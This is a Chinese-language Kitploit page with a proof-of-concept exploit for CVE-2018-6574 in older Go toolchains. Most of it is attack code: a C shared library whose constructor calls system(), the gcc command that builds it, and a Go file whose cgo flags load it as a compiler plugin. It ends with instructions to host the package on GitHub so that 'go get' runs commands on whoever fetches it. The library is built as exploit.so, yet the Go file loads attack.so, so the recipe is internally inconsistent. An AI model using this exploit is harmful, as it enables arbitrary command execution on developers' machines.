CVE-2018-6574 — 针对CVE-2018-6574的概念验证漏洞利用，通过CGO共享库注入恶意Go插件，演示任意命令执行。 | Kitploit

CVE-2018-6574 POC

CVE-2018-6574 的漏洞利用 POC

编译

创建一个包含以下内容的漏洞利用文件：

#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
    system("COMMAND");
}

编译它：

gcc -shared -o exploit.so -fPIC exploit.c

最后，你需要以下 Go 代码来告诉 cgo 使用你的插件：

package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//      return f();
// }
//
// int fortytwo()
// {
//      return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}

然后托管到 GitHub 并运行它以获得命令执行：

go get github.com/your-repo/CVE-2018-6574-POC

版本

早于 1.8.7
早于 1.9.4
早于 Go 1.10rc2

参考